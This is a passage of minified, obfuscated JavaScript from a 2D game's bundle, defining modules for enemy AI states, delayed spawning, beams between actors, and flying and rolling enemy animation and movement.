_0x2eb02b['createCircularCounterActor'] }; }, 0x2bd: (_0x4845e2, _0x1132b2) => { 'use strict'; Object['defineProperty'](_0x1132b2, '__esModule', { 'value': !0x0 }), _0x1132b2['assetsToLoad'] = void 0x0, _0x1132b2['assetsToLoad'] = []; }, 0x1b38: (_0x5a0505, _0x599070) => { 'use strict'; Object['defineProperty'](_0x599070, '__esModule', { 'value': !0x0 }), _0x599070['actionControlModel'] = void 0x0, _0x599070['actionControlModel'] = { 'ignoreUserActionsReasons': [], 'actionControlsState': { 'up': null, 'left': null, 'right': null, 'down': null, 'jump': null, 'attack': null, 'secondaryAttack1': null, 'secondaryAttack2': null, 'secondaryAttack3': null, 'dash': null, 'interaction': null, 'exit': null, 'choice': null } }; }, 0xda4: (_0xed1a24, _0x36ddda, _0xa74b1d) => { 'use strict'; Object['defineProperty'](_0x36ddda, '__esModule', { 'value': !0x0 }), _0x36ddda['ActorUiComponent'] = void 0x0; const _0x4379d2 = _0xa74b1d(0x2414); class _0x57c0e5 extends _0x4379d2['ActorComponent']{ constructor(_0x38b06b) { super(_0x38b06b); } ['init']() { this['store']['update']('uiIconPath', this['config']['uiIconPath']); } } _0x36ddda['ActorUiComponent'] = _0x57c0e5; }, 0x22c6: (_0x484423, _0x1b03ae) => { 'use strict'; Object['defineProperty'](_0x1b03ae, '__esModule', { 'value': !0x0 }), _0x1b03ae['actorUiModel'] = void 0x0, _0x1b03ae['actorUiModel'] = { 'uiIconPath': '' }; }, 0x74f: function (_0x239872, _0x5f04c3, _0x4e8946) { 'use strict'; var _0x5cd739 = this && this['__importDefault'] || function (_0x1e7aa4) { return _0x1e7aa4 && _0x1e7aa4['__esModule'] ? _0x1e7aa4 : { 'default': _0x1e7aa4 }; }; Object['defineProperty'](_0x5f04c3, '__esModule', { 'value': !0x0 }), _0x5f04c3['BeamBetweenActorsComponent'] = void 0x0; const _0x3afbef = _0x4e8946(0x2414), _0x1aed96 = _0x4e8946(0x1d35), _0x21c0be = _0x5cd739(_0x4e8946(0x1b39)), _0x43f1c8 = _0x4e8946(0x18e5); class _0x4dfe9f extends _0x3afbef['ActorComponent']{ constructor(_0x3df0e4) { super(_0x3df0e4); } ['beamPairs'] = {};['update'](_0x28def6) { for (const _0x4b0236 of Object['values'](this['beamPairs'])) { const _0xd748ce = (0x0, _0x43f1c8['add'])(_0x4b0236['startingActor']['getFromStore']('renderPosition'), _0x4b0236['startingActorPositionOffset'] || { 'x': 0x0, 'y': 0x0 }), _0x39832e = (0x0, _0x43f1c8['add'])(_0x4b0236['endingActor']['getFromStore']('renderPosition'), _0x4b0236['endingActorPositionOffset'] || { 'x': 0x0, 'y': 0x0 }), _0xe4c11f = _0x21c0be['default']['middlePointBetweenVectors'](_0xd748ce, _0x39832e), _0x2d88bd = _0x21c0be['default']['angleToTarget'](_0xd748ce, _0x39832e), _0xc67b78 = _0x21c0be['default']['distanceBetweenVectors'](_0xd748ce, _0x39832e); _0x4b0236['beamRenderer']['update']({ 'beamLength': _0xc67b78, 'beamStartPosition': _0xd748ce, 'beamCenterPosition': _0xe4c11f, 'beamEndPosition': _0x39832e, 'beamRotation': _0x2d88bd }), this['maybeUpdateBeamAlpha'](_0x4b0236, _0xc67b78), this['maybeUpdateBeamTint'](_0x4b0236, _0xc67b78); } } ['addBeamPair'](_0x3fd5bd) { const _0x17d00d = new _0x1aed96['BeamRenderer']({ ..._0x3fd5bd['beamConfig'], 'scene': this['scene'], 'gameContext': this['gameContext'] }); this['beamPairs'][_0x3fd5bd['id']] = { ..._0x3fd5bd, 'beamRenderer': _0x17d00d, 'beamRenderConfig': _0x3fd5bd['beamConfig'] }; } ['removeBeamPair'](_0x1d4793) { this['beamPairs'][_0x1d4793] && (this['beamPairs'][_0x1d4793]['beamRenderer']['destroy'](), delete this['beamPairs'][_0x1d4793]); } ['maybeUpdateBeamAlpha'](_0x349e4f, _0x57f047) { if (!_0x349e4f['beamFadesWithDistance']) return; const _0x195cca = 0x1 - Math['min'](_0x57f047 / (_0x349e4f['beamMaxDistance'] ?? _0x57f047), 0x1); _0x349e4f['beamRenderer']['setAlpha'](_0x195cca); } ['maybeUpdateBeamTint'](_0x336626, _0x57c25a) { if (!_0x336626['beamChangesTintWithDistance']) return; const _0x21aecd = _0x336626['beamMaxDistance'] ?? _0x57c25a, _0x3ce249 = _0x336626['beamChangesTintWithDistance']['length'], _0x46c96c = Math['round'](_0x57c25a / _0x21aecd * (_0x3ce249 - 0x1)); _0x336626['beamRenderer']['setTint'](parseInt(_0x336626['beamChangesTintWithDistance'][_0x46c96c], 0x10)); } } _0x5f04c3['BeamBetweenActorsComponent'] = _0x4dfe9f; }, 0x105c: (_0x43070e, _0x38c312, _0x2b8e8d) => { 'use strict'; Object['defineProperty'](_0x38c312, '__esModule', { 'value': !0x0 }), _0x38c312['createDelayedSpawnActor'] = void 0x0; const _0x4a73ed = _0x2b8e8d(0x25fa), _0x267814 = _0x2b8e8d(0x2228), _0x5a319b = _0x2b8e8d(0x1832), _0x22a3aa = _0x2b8e8d(0xd2e), _0x370bc6 = _0x2b8e8d(0x231c), _0x5a9666 = _0x2b8e8d(0x2347), _0x2b63e8 = { ..._0x22a3aa['actorModel'] }; _0x38c312['createDelayedSpawnActor'] = function (_0x3cd636) { const _0x5812d7 = [new _0x370bc6['DelayedSpawnComponent']({ ..._0x3cd636['delayedSpawnConfig'], 'actorCreationFunction': _0x3cd636['actorCreationFunction'], 'spawnPosition': (0x0, _0x5a9666['physicsVector2RenderVector'])(_0x3cd636['initialPosition']) })]; return _0x3cd636['delayedSpawnConfig']['spawnChargeExplosionPath'] && _0x5812d7['push'](new _0x267814['AnimatedSpriteRenderComponent']({ 'animationName': _0x3cd636['delayedSpawnConfig']['spawnChargeExplosionPath'], 'autoPlay': !0x0 })), new _0x4a73ed['Actor']({ ..._0x3cd636, 'tags': [_0x5a319b['EActorTag']['SPAWN']], 'name': 'DelayedSpawn', 'model': _0x2b63e8, 'components': _0x5812d7 }); }; }, 0x231c: (_0x4753ab, _0x4737d3, _0x517700) => { 'use strict'; Object['defineProperty'](_0x4737d3, '__esModule', { 'value': !0x0 }), _0x4737d3['DelayedSpawnComponent'] = void 0x0; const _0x3cb90c = _0x517700(0x2414); class _0x54f4a3 extends _0x3cb90c['ActorComponent']{ constructor(_0x2956c2) { super(_0x2956c2); } ['init']() { this['store']['update']('uiIconPath', 'ui_bars_icons/spawn'), this['store']['update']('renderPosition', this['config']['spawnPosition']); const _0x290bf7 = this['gameContext']['timeProvider']['delayAction'](() => { this['config']['actorCreationFunction'](), this['actor']['destroy'](), this['config']['spawnFinishExplosionPath'] && this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': this['config']['spawnFinishExplosionPath'], 'position': this['config']['spawnPosition'] }); }, this['config']['delayTimeMS']); this['gameMessageBus']['subscribe'](this, 'playerDead', () => { this['gameContext']['timeProvider']['cancelDelayedAction'](_0x290bf7); }), this['gameMessageBus']['subscribe'](this, 'mainObjectiveFinished', () => { this['gameContext']['timeProvider']['cancelDelayedAction'](_0x290bf7); }); } } _0x4737d3['DelayedSpawnComponent'] = _0x54f4a3; }, 0x1371: (_0x8a65e4, _0x201227, _0x3ea20f) => { 'use strict'; Object['defineProperty'](_0x201227, '__esModule', { 'value': !0x0 }), _0x201227['AiComponent'] = void 0x0; const _0x2bb510 = _0x3ea20f(0x2414), _0x2a512c = _0x3ea20f(0x221b), _0x2f84d7 = _0x3ea20f(0x1932), _0x551c0f = _0x3ea20f(0x17e); class _0x338d8e extends _0x2bb510['ActorComponent']{ constructor(_0x1bfe76) { super(_0x1bfe76); } ['init']() { this['resetActions'](), this['store']['update']('aiState', this['config']['initialState']), this['store']['update']('aiConfig', this['config']), this['store']['update']('aiReachedTargetLocation', !0x1), this['store']['subscribe']('hp', ({ oldValue: _0x3da694, newValue: _0x55eea9 }) => this['onHpChange'](_0x3da694, _0x55eea9)); } ['update'](_0x1f8c3b) { switch (this['resetActions'](), this['store']['get']('aiState')) { case 'SLEEPING': this['updateStateSleeping'](); break; case 'IDLE': this['updateStateIdle'](_0x1f8c3b); break; case 'WANDERING': this['updateStateWandering'](_0x1f8c3b); break; case 'PURSUING': this['updateStatePursuing'](_0x1f8c3b); } } ['updateStateSleeping']() { this['seesAnyTarget']() && this['store']['update']('aiState', 'PURSUING'); } ['updateStateIdle'](_0x4317d3) { const _0x10bd49 = this['store']['get']('lockoutTimeLeftMS'); _0x10bd49 > 0x0 ? this['store']['update']('lockoutTimeLeftMS', _0x10bd49 - 0x3e8 * _0x4317d3) : this['seesAnyTarget']() ? this['store']['update']('aiState', 'PURSUING') : this['maybeRandomlyChangeState'](_0x4317d3); } ['updateStateWandering'](_0x9d9b46) { const _0x2bff95 = (0x0, _0x551c0f['isSensingGround'])(this['store']['get']('sensorCollisionState'), [_0x2f84d7['ESensorName']['GROUND_LEFT']]), _0x3e3a58 = (0x0, _0x551c0f['isSensingGround'])(this['store']['get']('sensorCollisionState'), [_0x2f84d7['ESensorName']['GROUND_RIGHT']]); switch (this['store']['get']('currentWanderState')) { case 'left': this['store']['update']('aiActionLeft', !0x0), this['store']['update']('lookDirection', -Math['PI'] / 0x2), _0x2bff95 && this['store']['update']('currentWanderState', 'right'); break; case 'right': this['store']['update']('aiActionRight', !0x0), this['store']['update']('lookDirection', Math['PI'] / 0x2), _0x3e3a58 && this['store']['update']('currentWanderState', 'left'); }const _0x594aec = this['store']['get']('lockoutTimeLeftMS'); if (_0x594aec > 0x0) return void this['store']['update']('lockoutTimeLeftMS', _0x594aec - 0x3e8 * _0x9d9b46); if (this['seesAnyTarget']() || this['isWeaponOperating']()) return void this['store']['update']('aiState', 'PURSUING'); if (this['isPreventedFromLookDirectionChange']()) return; const _0xeaafa0 = this['store']['get']('aiConfig')['wanderDirectionChangeProbability'] * _0x9d9b46; if (this['gameContext']['rngProvider']['getRandomFloat'](_0x2a512c['EProviderContext']['MAIN'], 0x0, 0x1) < _0xeaafa0) { const _0x2bb435 = 'left' === this['store']['get']('currentWanderState') ? 'right' : 'left'; this['store']['update']('currentWanderState', _0x2bb435); } this['maybeRandomlyChangeState'](_0x9d9b46); } ['updateStatePursuing'](_0x5ee1b6) { const _0xa2434d = this['getClosestTarget'](); if (!_0xa2434d) return; const _0xabf9ab = this['store']['get']('aiReachedTargetLocation'), { hasPerformedAction: _0x54ca1d } = this['maybeMoveToTarget'](_0xa2434d); if (_0x54ca1d || _0xabf9ab || this['store']['update']('aiReachedTargetLocation', !0x0), _0x54ca1d && _0xabf9ab && this['store']['update']('aiReachedTargetLocation', !0x1), !this['seesAnyTarget']() && !this['isWeaponOperating']()) return void this['store']['update']('aiState', 'WANDERING'); if (this['isWeaponOperating']()) return; const _0x1a1177 = this['store']['get']('lockoutTimeLeftMS'); _0x1a1177 > 0x0 ? this['store']['update']('lockoutTimeLeftMS', _0x1a1177 - 0x3e8 * _0x5ee1b6) : this['maybeRandomlyChangeState'](_0x5ee1b6); } ['getClosestTarget']() { return this['store']['get']('targetActorHandles')['filter'](_0x2cf02d => _0x2cf02d['getFromStore']('renderPosition'))[0x0]; } ['maybeMoveToTarget'](_0x1d1050) { let _0x4cab89 = !0x1; if (!_0x1d1050) return { 'hasPerformedAction': _0x4cab89 }; if (this['store']['get']('stunTimeMS') > 0x0) return { 'hasPerformedAction': _0x4cab89 }; const _0x542b51 = _0x1d1050['getFromStore']('renderPosition'); if (!_0x542b51) return { 'hasPerformedAction': _0x4cab89 }; const _0x549114 = this['store']['get']('renderPosition'), _0x227c12 = _0x542b51['x'] - _0x549114['x'], _0x29f4a8 = _0x542b51['y'] - _0x549114['y']; if (!isNaN(this['store']['get']('aiConfig')['horizontalWantedDistanceRange'])) { const _0x370dce = this['handleHorizontalMovement'](_0x227c12)['hasPerformedAction']; _0x4cab89 = _0x4cab89 || _0x370dce; } if (!isNaN(this['store']['get']('aiConfig')['verticalWantedDistanceRange'])) { const _0xd1a0c6 = this['handleVerticalDistance'](_0x29f4a8)['hasPerformedAction']; _0x4cab89 = _0x4cab89 || _0xd1a0c6; } return { 'hasPerformedAction': _0x4cab89 }; } ['handleHorizontalMovement'](_0x31ac46) { let _0x3c7a47 = !0x1; return Math['abs'](_0x31ac46) > this['store']['get']('aiConfig')['wantedHorizontalDistanceToPlayer'] + this['store']['get']('aiConfig')['horizontalWantedDistanceRange'] / 0x2 ? (_0x3c7a47 = !0x0, this['store']['update'](_0x31ac46 > 0x0 ? 'aiActionRight' : 'aiActionLeft', !0x0)) : Math['abs'](_0x31ac46) < this['store']['get']('aiConfig')['wantedHorizontalDistanceToPlayer'] - this['store']['get']('aiConfig')['horizontalWantedDistanceRange'] / 0x2 && (_0x3c7a47 = !0x0, this['store']['update'](_0x31ac46 <= 0x0 ? 'aiActionRight' : 'aiActionLeft', !0x0)), { 'hasPerformedAction': _0x3c7a47 }; } ['handleVerticalDistance'](_0xab8ef6) { const _0xda0428 = this['store']['get']('aiConfig')['wantedVerticalDistanceToPlayer'] - this['store']['get']('aiConfig')['verticalWantedDistanceRange'] / 0x2 - (this['store']['get']('aiConfig')['verticalWantedDistanceOffset'] ?? 0x0), _0x232a5a = -this['store']['get']('aiConfig')['wantedVerticalDistanceToPlayer'] + this['store']['get']('aiConfig')['verticalWantedDistanceRange'] / 0x2 - (this['store']['get']('aiConfig')['verticalWantedDistanceOffset'] ?? 0x0); let _0x2322bc = !0x1; return _0xab8ef6 > _0xda0428 && (_0x2322bc = !0x0, this['store']['update']('aiActionDown', !0x0)), _0xab8ef6 < _0x232a5a && (_0x2322bc = !0x0, this['store']['update']('aiActionUp', !0x0)), { 'hasPerformedAction': _0x2322bc }; } ['resetActions']() { this['store']['update']('aiActionLeft', !0x1), this['store']['update']('aiActionRight', !0x1), this['store']['update']('aiActionUp', !0x1), this['store']['update']('aiActionDown', !0x1); } ['seesAnyTarget']() { const _0x59d902 = this['store']['get']('distanceToTargetWithGroundCheck'); return _0x59d902 > 0x0 && _0x59d902 < this['store']['get']('aiConfig')['targetDetectionRange']; } ['isWeaponOperating']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } ['isPreventedFromLookDirectionChange']() { const _0xae2aca = this['store']['get']('currentPhaseIndex'), _0xd1c037 = this['store']['get']('currentWeaponName'); if (!_0xd1c037) return !0x1; return !!this['getWeaponConfig'](_0xd1c037)['attackConfigs'][_0xae2aca]['preventAiChangeDirection']; } ['getWeaponConfig'](_0x25c2f1) { return this['gameContext']['getWeaponConfig'](_0x25c2f1); } ['onHpChange'](_0x416b9c, _0x2bc0cd) { _0x416b9c <= 0x0 || _0x2bc0cd <= _0x416b9c || this['store']['update']('aiState', 'PURSUING'); } ['maybeRandomlyChangeState'](_0x8ed623) { const _0x21206d = this['store']['get']('aiConfig')['randomStateChangeConfig']?.[this['store']['get']('aiState')]; if (!_0x21206d) return; const _0x1a0bd2 = _0x21206d['chancePerSecond'] * _0x8ed623; if (this['gameContext']['rngProvider']['getRandomFloat'](_0x2a512c['EProviderContext']['MAIN'], 0x0, 0x1) >= _0x1a0bd2) return; const _0x1a1848 = _0x21206d['minLockedTimeMS'] ?? 0x0, _0x21dc90 = _0x21206d['maxLockedTimeMS'] ?? 0x0, _0x31e90f = this['gameContext']['rngProvider']['getRandomElement'](_0x2a512c['EProviderContext']['MAIN'], _0x21206d['states']); if ('WANDERING' === _0x31e90f) { const _0xe73562 = this['gameContext']['rngProvider']['getRandomElement'](_0x2a512c['EProviderContext']['MAIN'], ['left', 'right']); this['store']['update']('currentWanderState', _0xe73562); } let _0x22c87a; _0x22c87a = 0x0 === _0x1a1848 && 0x0 === _0x21dc90 ? 0x0 : this['gameContext']['rngProvider']['getRandomInteger'](_0x2a512c['EProviderContext']['MAIN'], _0x1a1848, _0x21dc90), this['store']['update']('aiState', _0x31e90f), this['store']['update']('lockoutTimeLeftMS', _0x22c87a); } } _0x201227['AiComponent'] = _0x338d8e; }, 0x261a: (_0x2de664, _0x4a838d, _0xf25e24) => { 'use strict'; Object['defineProperty'](_0x4a838d, '__esModule', { 'value': !0x0 }), _0x4a838d['AiFlyerAnimationController'] = void 0x0; const _0x2601c4 = _0xf25e24(0x1520); class _0x18182c extends _0x2601c4['ComponentController']{ ['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x103b5d, newValue: _0x2932c5 }) => { _0x2932c5 < _0x103b5d && (this['component']['playAnimation']({ 'name': 'Damage', 'loop': !0x1, 'timeScale': 0x1, 'trackIndex': 0x2 }), this['component']['addClearAnimation'](0x2)); }), this['messageBus']['subscribe'](this, 'cancelAttack', () => { this['component']['clearAnimation'](0x1); }); } ['update'](_0x25d635) { if (this['store']['get']('hp') <= 0x0) return; if (this['store']['get']('stunTimeMS') > 0x0) return this['component']['isPlayingAnimation']('Stun', 0x0) || this['component']['clearAnimation'](0x0), this['component']['playAnimation']({ 'name': 'Stun', 'loop': !0x1, 'timeScale': 0x1, 'trackIndex': 0x0 }), void this['component']['clearAnimation'](0x1); this['setDirection'](), this['isPerformingAttack']() ? this['selectAttackAnimation']() : (this['clearChargeAnimation'](), this['selectMovementAnimation']()); } ['setDirection']() { const _0x1a1ffd = this['store']['get']('lookDirection') < 0x0; this['component']['setDirection'](_0x1a1ffd ? 'left' : 'right'); } ['selectMovementAnimation']() { 'MOVEMENT' === this['store']['get']('horizontalState') ? this['component']['playAnimation']({ 'name': 'Idle', 'loop': !0x0, 'timeScale': 0x1, 'trackIndex': 0x0, 'mixDuration': 0.3 }) : this['component']['playAnimation']({ 'name': 'Fly', 'loop': !0x0, 'timeScale': 0x1, 'trackIndex': 0x0, 'mixDuration': 0.3 }); } ['selectAttackAnimation']() { const _0x232bab = this['store']['get']('currentWeaponName'); if (!_0x232bab) return; const _0x1eaf64 = this['gameContext']['getWeaponConfig'](_0x232bab)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; _0x1eaf64 && _0x1eaf64['phaseAnimation'] && this['component']['playAnimation']({ 'name': _0x1eaf64['phaseAnimation'], 'loop': !0x1, 'timeScale': 0x1, 'trackIndex': 0x1, 'mixDuration': 0.3 }); } ['clearChargeAnimation']() { this['component']['isPlayingAnimation']('Charge', 0x1) && this['component']['clearAnimation'](0x1); } ['isPerformingAttack']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } } _0x4a838d['AiFlyerAnimationController'] = _0x18182c; }, 0x2665: function (_0x304ca5, _0x3b4f12, _0x1a2eed) { 'use strict'; var _0x534f2f = this && this['__importDefault'] || function (_0x1cedd5) { return _0x1cedd5 && _0x1cedd5['__esModule'] ? _0x1cedd5 : { 'default': _0x1cedd5 }; }; Object['defineProperty'](_0x3b4f12, '__esModule', { 'value': !0x0 }), _0x3b4f12['AiFlyerMovementController'] = void 0x0; const _0x4dd176 = _0x534f2f(_0x1a2eed(0x9a8)), _0x3e04af = _0x1a2eed(0x1520); class _0x31f00e extends _0x3e04af['ComponentController']{ constructor(_0x1dc038) { super(_0x1dc038); } ['init']() { this['store']['update']('currentUpForce', 0x0), this['store']['update']('horizontalState', 'IDLE'); } ['update'](_0x26f737) { if (this['store']['get']('stunTimeMS') > 0x0) return; let _0x3546e7 = 'IDLE'; const _0xb8c2b6 = 0x8c * _0x26f737; this['levitate'](_0xb8c2b6), this['store']['get']('movementLockoutLeftMS') > 0x0 || (this['config']['stationary'] || (this['store']['get']('aiActionLeft') && (this['goLeft'](_0xb8c2b6), _0x3546e7 = 'MOVEMENT'), this['store']['get']('aiActionRight') && (this['goRight'](_0xb8c2b6), _0x3546e7 = 'MOVEMENT')), this['store']['get']('aiActionUp') && this['goUp'](_0xb8c2b6), this['store']['get']('aiActionDown') && this['goDown'](_0xb8c2b6), this['store']['update']('horizontalState', _0x3546e7)); } ['levitate'](_0x1818a4) { const _0x1ce738 = this['calculateLevitationForce'](), _0x367ff1 = this['component']['get']()['linvel'](), _0x11cacd = new _0x4dd176['default']['Vector2'](_0x367ff1['x'], _0x367ff1['y']); this['component']['get']()['setLinvel'](_0x11cacd, !0x0), this['component']['get']()['applyImpulse'](new _0x4dd176['default']['Vector2'](0x0, -_0x1ce738 * _0x1818a4), !0x0); } ['goLeft'](_0x524ea7, _0x1dc985 = 0x1) { const _0x39ecf8 = this['component']['get']()['linvel'](); if (_0x39ecf8['x'] < -this['config']['maxXSpeed']) return; const _0xe7a98b = new _0x4dd176['default']['Vector2'](_0x39ecf8['x'], _0x39ecf8['y']); this['component']['get']()['setLinvel'](_0xe7a98b, !0x0), this['component']['get']()['applyImpulse'](new _0x4dd176['default']['Vector2'](-this['config']['xMovementForce'] * _0x524ea7 * _0x1dc985, 0x0), !0x0); } ['goRight'](_0x2b9fec, _0x13310f = 0x1) { const _0x4b7ae9 = this['component']['get']()['linvel'](); if (_0x4b7ae9['x'] > this['config']['maxXSpeed']) return; const _0x3fc291 = new _0x4dd176['default']['Vector2'](_0x4b7ae9['x'], _0x4b7ae9['y']); this['component']['get']()['setLinvel'](_0x3fc291, !0x0), this['component']['get']()['applyImpulse'](new _0x4dd176['default']['Vector2'](this['config']['xMovementForce'] * _0x2b9fec * _0x13310f, 0x0), !0x0); } ['goUp'](_0x1f97da, _0x266716 = 0x1) { const _0x91a228 = this['component']['get']()['linvel'](); if (_0x91a228['y'] < -this['config']['maxYSpeed']) return; const _0x59e46c = new _0x4dd176['default']['Vector2'](_0x91a228['x'], _0x91a228['y']); this['component']['get']()['setLinvel'](_0x59e46c, !0x0), this['component']['get']()['applyImpulse'](new _0x4dd176['default']['Vector2'](0x0, -this['config']['yMovementForce'] * _0x1f97da * _0x266716), !0x0); } ['goDown'](_0x19b0b9, _0x14ba89 = 0x1) { const _0x4226fa = this['component']['get']()['linvel'](); if (_0x4226fa['y'] > this['config']['maxYSpeed']) return; const _0x1e97f7 = new _0x4dd176['default']['Vector2'](_0x4226fa['x'], _0x4226fa['y']); this['component']['get']()['setLinvel'](_0x1e97f7, !0x0), this['component']['get']()['applyImpulse'](new _0x4dd176['default']['Vector2'](0x0, this['config']['yMovementForce'] * _0x19b0b9 * _0x14ba89), !0x0); } ['calculateLevitationForce']() { const _0x3321a4 = this['store']['get']('distanceToGround'), _0x43cbb7 = _0x3321a4 < 0x0 ? 0x0 : _0x3321a4, _0x4053a0 = this['config']['levitationGroundDetectionDistance'] - _0x43cbb7, _0x1e3951 = 0.6 * (this['config']['levitationGroundDetectionDistance'] - _0x43cbb7), _0x1dffeb = this['component']['get']()['linvel']()['y'] < 0x0 ? _0x1e3951 : _0x4053a0; return Math['max'](this['config']['minimumLevitationForce'], _0x1dffeb); } } _0x3b4f12['AiFlyerMovementController'] = _0x31f00e; }, 0x1840: (_0x8a7ce4, _0x1437a9, _0x183285) => { 'use strict'; Object['defineProperty'](_0x1437a9, '__esModule', { 'value': !0x0 }), _0x1437a9['AiFlyerSpritesheetAnimationController'] = void 0x0; const _0x13157e = _0x183285(0x1520); class _0x5628f8 extends _0x13157e['ComponentController']{ constructor(_0x3c4528) { super(), this['config'] = _0x3c4528; } ['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x1f2c23, newValue: _0xbc4a9d }) => { _0xbc4a9d < _0x1f2c23 && this['component']['play']({ 'animationName': '' + this['createAnimationName']('Damage'), 'loop': !0x1 }); }), this['messageBus']['subscribe'](this, 'attackPhaseStarts', () => { this['selectAttackAnimation'](!0x0); }); } ['update'](_0x285854) { if (this['store']['get']('hp') <= 0x0) return; this['store']['get']('stunTimeMS') > 0x0 ? this['component']['play']({ 'animationName': '' + this['createAnimationName']('Stun'), 'loop': !0x1 }) : this['isPerformingAttack']() ? this['selectAttackAnimation'](!0x1) : this['selectMovementAnimation'](); } ['selectMovementAnimation']() { 'MOVEMENT' === this['store']['get']('horizontalState') ? this['component']['play']({ 'animationName': '' + this['createAnimationName']('Idle'), 'loop': !0x0 }) : this['component']['play']({ 'animationName': '' + this['createAnimationName']('Fly'), 'loop': !0x0 }); } ['selectAttackAnimation'](_0x170a10) { const _0x43f310 = this['store']['get']('currentWeaponName'); if (!_0x43f310) return; const _0x593a46 = this['gameContext']['getWeaponConfig'](_0x43f310)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; _0x593a46 && _0x593a46['phaseAnimation'] && this['component']['play']({ 'animationName': this['createAnimationName'](_0x593a46['phaseAnimation']), 'loop': !0x1, 'restartAnimationIfPlaying': _0x593a46['restartPhaseAnimationOnFire'] && _0x170a10 }); } ['isPerformingAttack']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } ['createAnimationName'](_0x508ea9) { return this['config']['animationName'][0x0]['split']('/')[0x0] + '/' + _0x508ea9; } } _0x1437a9['AiFlyerSpritesheetAnimationController'] = _0x5628f8; }, 0x1ae2: (_0x166335, _0x81f538) => { 'use strict'; Object['defineProperty'](_0x81f538, '__esModule', { 'value': !0x0 }), _0x81f538['aiModel'] = void 0x0, _0x81f538['aiModel'] = { 'aiActionUp': !0x1, 'aiActionDown': !0x1, 'aiActionLeft': !0x1, 'aiActionRight': !0x1, 'aiCurrentFiringWeaponName': null, 'aiState': 'SLEEPING', 'aiConfig': { 'wantedHorizontalDistanceToPlayer': 0x0, 'horizontalWantedDistanceRange': 0x0, 'wantedVerticalDistanceToPlayer': 0x0, 'verticalWantedDistanceRange': 0x0, 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0x0 }, 'aiReachedTargetLocation': !0x1, 'lookDirection': 0x0, 'currentWanderState': 'left', 'currentUpForce': 0x0, 'horizontalState': 'IDLE', 'verticalState': 'IDLE', 'jumpDelayMS': 0x0, 'lockoutTimeLeftMS': 0x0 }; }, 0x211: (_0x25b126, _0xe40535, _0x208ca9) => { 'use strict'; Object['defineProperty'](_0xe40535, '__esModule', { 'value': !0x0 }), _0xe40535['AiRollerSpritesheetAnimationController'] = void 0x0; const _0x3a7e4f = _0x208ca9(0x1520); class _0x15a796 extends _0x3a7e4f['ComponentController']{ ['currentRotationSpeed'] = 0x0; constructor(_0x6ec89b) { super(), this['config'] = _0x6ec89b; } ['init']() { this['config']['animationName'] = Array['isArray'](this['config']['animationName']) ? [...this['config']['animationName']] : this['config']['animationName']['split'](','), this['store']['subscribe']('hp', ({ oldValue: _0x49e548, newValue: _0x14199e }) => { _0x14199e < _0x49e548 && this['component']['play']({ 'animationName': '' + this['createAnimationName']('Damage'), 'loop': !0x1 }); }), this['messageBus']['subscribe'](this, 'attackPhaseStarts', () => { this['selectAttackAnimation'](!0x0); }); } ['update'](_0x774ddc) { if (this['store']['get']('hp') <= 0x0) return; if (this['store']['get']('stunTimeMS') > 0x0) return void this['component']['play']({ 'animationName': '' + this['createAnimationName']('Stun'), 'loop': !0x1 }); const _0x4b1308 = this['store']['get']('isGrounded'); let _0x1ec0c0 = !0x1; this['isPerformingAttack']() && (_0x1ec0c0 = this['selectAttackAnimation'](!0x1)), _0x1ec0c0 || this['selectMovementAnimation'](_0x4b1308); } ['selectMovementAnimation'](_0x2b7357) { const _0x3b45a4 = 'MOVEMENT' === this['store']['get']('horizontalState'), _0x152271 = 'UP' === this['store']['get']('verticalState'), _0x45e26d = this['store']['get']('aiActionLeft'), _0x165ba8 = this['store']['get']('aiActionRight'); if (this['currentRotationSpeed'] = 0.003 * this['store']['get']('currentPerceivedSpeed')['x'], _0x45e26d && !_0x165ba8 ? this['currentRotationSpeed'] -= 0.01 : _0x165ba8 && !_0x45e26d && (this['currentRotationSpeed'] += 0.01), this['store']['update']('renderRotation', this['store']['get']('renderRotation') + this['currentRotationSpeed']), _0x152271 || !_0x2b7357) this['component']['play']({ 'animationName': '' + this['createAnimationName']('Jump'), 'loop': !0x1 }); else { if (!_0x152271 && _0x3b45a4) { const _0x43c86a = this['store']['get']('currentPerceivedSpeed'); Math['abs'](_0x43c86a['x']) > 0.1 ? this['component']['play']({ 'animationName': '' + this['createAnimationName']('Run'), 'loop': !0x0 }) : this['component']['play']({ 'animationName': '' + this['createAnimationName']('Idle'), 'loop': !0x0 }); } else this['component']['play']({ 'animationName': '' + this['createAnimationName']('Idle'), 'loop': !0x0 }); } } ['selectAttackAnimation'](_0x5f082e) { const _0x48f420 = this['store']['get']('currentWeaponName'); if (!_0x48f420) return !0x1; const _0x403e15 = this['gameContext']['getWeaponConfig'](_0x48f420)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; return !(!_0x403e15 || !_0x403e15['phaseAnimation']) && (this['component']['play']({ 'animationName': this['createAnimationName'](_0x403e15['phaseAnimation']), 'loop': !0x1, 'restartAnimationIfPlaying': _0x403e15['restartPhaseAnimationOnFire'] && _0x5f082e }), !0x0); } ['isPerformingAttack']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } ['createAnimationName'](_0x491557) { return this['config']['animationName'][0x0]['split']('/')[0x0] + '/' + _0x491557; } } _0xe40535['AiRollerSpritesheetAnimationController'] = _0x15a796; }, 0xe15: (_0x4069b3, _0xa96bb1, _0x27c01d) => { 'use strict'; Object['defineProperty'](_0xa96bb1, '__esModule', { 'value': !0x0 }), _0xa96bb1['AiSensorAdjustmentController'] = void 0x0; const _0x130d1b = _0x27c01d(0x1932), _0x57b170 = _0x27c01d(0x1520), _0x506cc3 = _0x27c01d(0xb35), _0x2e1a63 = 0x2 / _0x506cc3['PhysicsConfig']['TILE_SIZE']; class _0x4a9644 extends _0x57b170['ComponentController']{ constructor(_0x2c7def) { super(_0x2c7def); } ['update'](_0x4b5691) { const _0x38ff90 = this['store']['get']('currentPerceivedSpeed')['x']; if (Math['abs'](_0x38ff90) < 0.01) return; const _0x358744 = Math['max'](this['calculateNewWidthBasedOnSpeed'](-_0x38ff90), 0.01), _0x51527e = Math['max'](this['calculateNewWidthBasedOnSpeed'](_0x38ff90), 0.01), _0x24479f = this['component']['colliders']['body']['shape'], _0x1992c6 = 